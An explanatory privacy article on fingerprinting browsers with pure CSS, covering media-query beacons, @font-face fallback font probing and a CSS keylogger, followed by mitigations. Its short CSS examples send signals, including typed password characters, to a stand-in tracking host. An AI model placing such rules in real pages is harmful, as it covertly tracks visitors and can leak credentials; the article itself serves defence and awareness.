CSS media queries and @font-face rules can leak dark mode, pointer type, screen resolution, and even installed fonts — without a line of JavaScript.
Most fingerprinting defenses assume the threat comes from JavaScript: block scripts, and the tracking stops. CSS breaks that assumption. A stylesheet alone — no <script> tag anywhere on the page — can detect whether you're in dark mode, whether you're on a touchscreen or a mouse, how sharp your display is, and even whether a specific font is installed, simply by choosing which network request the browser decides to make. Because the technique never touches the JavaScript engine, it slips past NoScript, script-blocking extensions, and JS-disabled browsing modes that stop nearly everything else.
Key Takeaways
- CSS can fingerprint a browser with zero JavaScript, by using
@mediarules to make an element'sbackground-image(or an@font-facesource) load conditionally — the choice of which URL the browser fetches leaks the answer to a tracker's server. prefers-color-scheme,prefers-reduced-motion,hover,pointer, andresolutionmedia features each expose one bit (or more) of device/OS/accessibility state through this mechanism.- The classic no-JS font-detection trick pairs
@font-face'slocal()source with a network fallback: if a named font isn't installed locally, the browser downloads a remote file instead — revealing font presence without ever runningqueryLocalFonts()or measuring text with JavaScript. - A related, more invasive CSS-only technique uses attribute selectors to match live form-input values character by character, effectively building a CSS keylogger with no JavaScript at all.
- Because there's no script to block, disabling JavaScript, using NoScript, or relying on a JS-focused privacy extension does not stop CSS-based fingerprinting or exfiltration — the defense has to happen at the CSS/network layer instead.
What is CSS fingerprinting?
CSS fingerprinting is the practice of inferring device, browser, or accessibility state from which style rules a browser chooses to apply — and, critically, which network requests those rules trigger. Browsers only fetch a background-image, @font-face source, or similar external resource when the CSS rule that references it actually matches the current page and media conditions. A tracker exploits that as a one-bit (or many-bit) side channel: give two different rules two different URLs, gate each behind a different @media condition, and whichever URL hits the tracker's server tells them which condition was true — all without a single line of JavaScript running in the visitor's browser.
This isn't a theoretical curiosity. The Cover Your Tracks project from the EFF documents how combinations of passive signals — including rendering and preference leaks like these — combine into a distinctive profile, in the same spirit as font fingerprinting and canvas fingerprinting, just collected through a completely different mechanism.
The core trick: conditional network requests
The mechanism behind almost every CSS-only tracking technique is the same shape:
/* Only fetched by browsers where the media condition matches */
@media (prefers-color-scheme: dark) {
body {
background-image: url("https://tracking.example/beacon?signal=dark");
}
}
@media (prefers-color-scheme: light) {
body {
background-image: url("https://tracking.example/beacon?signal=light");
}
}
A browser in dark mode requests the first URL; a browser in light mode requests the second. The tracker's server never needs JavaScript to read a value — it just needs to notice which URL arrived. Per the W3C Media Queries specification, any @media feature can gate rule application this way, which means any media feature a browser exposes can, in principle, be turned into a leak.
Probing preferences and hardware through media features
Several standard media features are genuinely useful for responsive design — and each one doubles as a fingerprinting signal when combined with the technique above:
| Media feature | Legitimate use | What it leaks |
|---|---|---|
prefers-color-scheme | Dark/light theming | OS or browser-level theme preference |
prefers-reduced-motion | Reduce animation for accessibility | Whether the user has an accessibility setting enabled — itself a signal that narrows the population |
pointer and hover | Adjust tap targets for touch vs. mouse | Coarse device class: touchscreen, mouse, or a hybrid device with both |
resolution | Serve sharper images to high-DPI screens | Screen pixel density, narrowing device/display type |
None of these leaks is damning on its own — plenty of people share a color-scheme preference or a pointer type. The point, as with any fingerprinting signal, is that they're cheap to collect in bulk and combine with everything else a page can observe about you, JavaScript or not. Browser support for these features is broad but not universal on older engines; see caniuse for current coverage of the interaction media features specifically.
Font probing without JavaScript
The most striking CSS-only technique targets installed fonts — the same signal font fingerprinting collects via JavaScript, but reached through @font-face's fallback behavior instead. @font-face lets a src list mix a local() source with a remote url() fallback:
@font-face {
font-family: "probe-calibri";
/* If "Calibri" is installed locally, the browser uses it and never
requests the remote URL. If it's absent, the remote file loads. */
src: local("Calibri"), url("https://tracking.example/beacon?font=calibri");
}
.probe { font-family: "probe-calibri", sans-serif; }
If a visitor has Calibri installed, the browser resolves the font locally and the remote request never fires. If they don't, the browser silently falls back to the network source — and that request is the tell. Repeat this pattern with a list of common font names, each pointing at a distinct tracking URL, and a page collects a font presence/absence profile with no JavaScript at all, using exactly the same fallback logic that makes the JS-based technique in our font fingerprinting guide work — just observed from the server side instead of measured client-side.
CSS as a keylogger
A more aggressive relative of this technique uses attribute selectors to match the live value of a form field:
input[type="password"][value^="a"] {
background-image: url("https://tracking.example/beacon?char=a");
}
Because CSS re-evaluates selectors as the DOM changes, a rule like this fires — and triggers a request — the moment a matching character is typed, before any submit button is pressed. Security researcher Max Chehab published a working proof-of-concept CSS keylogger built entirely from attribute-selector rules like this one, demonstrating that meaningful data exfiltration doesn't require JavaScript at all. Most modern frameworks that render password inputs no longer expose the raw value attribute this way, but the underlying CSS mechanism — a selector match triggering a network request — is identical to the media-query and font tricks above.
Why this survives script blockers
The reason CSS-only fingerprinting matters isn't that any single signal is uniquely powerful — it's that it targets a blind spot in how people defend themselves. Disabling JavaScript, running NoScript, or using a script-blocking extension stops the vast majority of tracking scripts, canvas reads, and API calls. None of it touches CSS. A browser has to parse and apply stylesheets to render a page at all, and fetching the resources those stylesheets reference is a core part of that job — there's no "safe mode" that skips it. That's exactly why the technique fits the same theme as WebGL and audio fingerprinting: like those, it survives clearing cookies and private browsing, since nothing about it depends on stored data — but unlike them, it also survives disabling the scripting engine entirely, which is the layer most privacy advice focuses on. For the combinatorics of why layering several weak signals like these becomes a strong identifier, see our browser fingerprinting guide.
Mitigations
- Block third-party stylesheets and fonts you didn't request, the same way you'd block third-party scripts — most content-blocking extensions can restrict cross-origin CSS and font loads, not just JavaScript.
- Disable remote font loading where your browser allows it; this closes the
local()-fallback font-probing vector directly, at the cost of some sites' custom fonts not rendering. - Use a browser or mode that standardizes preference exposure. The same uniformity philosophy that helps against canvas and font fingerprinting — Tor Browser's standardized environment, Firefox's
privacy.resistFingerprinting— also reduces how muchprefers-color-scheme,pointer, and similar features vary from the norm. - Prefer frameworks that don't leak live input values into the DOM as attributes, closing off the CSS-keylogger vector specifically.
Frequently Asked Questions
Does CSS fingerprinting need JavaScript at all?
No. Every technique described here works from pure CSS — @media rules and @font-face fallbacks that conditionally trigger a network request. That's what makes it notable: JavaScript-focused defenses don't touch it.
Can NoScript or a script blocker stop it?
No. Blocking JavaScript execution has no effect on CSS parsing or the resource requests a stylesheet triggers. Stopping CSS-based tracking requires blocking the specific cross-origin CSS/font/image requests, not the scripting engine.
Is CSS fingerprinting as powerful as canvas or WebGL fingerprinting?
Not on its own — each media feature or font probe leaks a small, coarse signal rather than a high-entropy hash. It becomes meaningful the way most fingerprinting signals do: combined with everything else a page can observe, as covered in our browser fingerprinting guide.
How can I check what my own browser exposes?
Run BrowserInsight's fingerprint check to see the signals your browser leaks through JavaScript, and pair it with a content blocker configured to restrict third-party stylesheets and fonts, since that surface isn't covered by script blocking alone.
Conclusion
CSS fingerprinting turns an everyday rendering feature — the browser's decision about which resource to fetch — into a tracking channel that never needs JavaScript. Media-query gated background images leak preferences like color scheme and pointer type; @font-face fallback logic leaks installed fonts; attribute selectors can even leak characters typed into a form. None of it is stopped by disabling scripts, which is exactly why it's worth knowing about even if you've already hardened your JavaScript exposure elsewhere.
Recommended Reading:


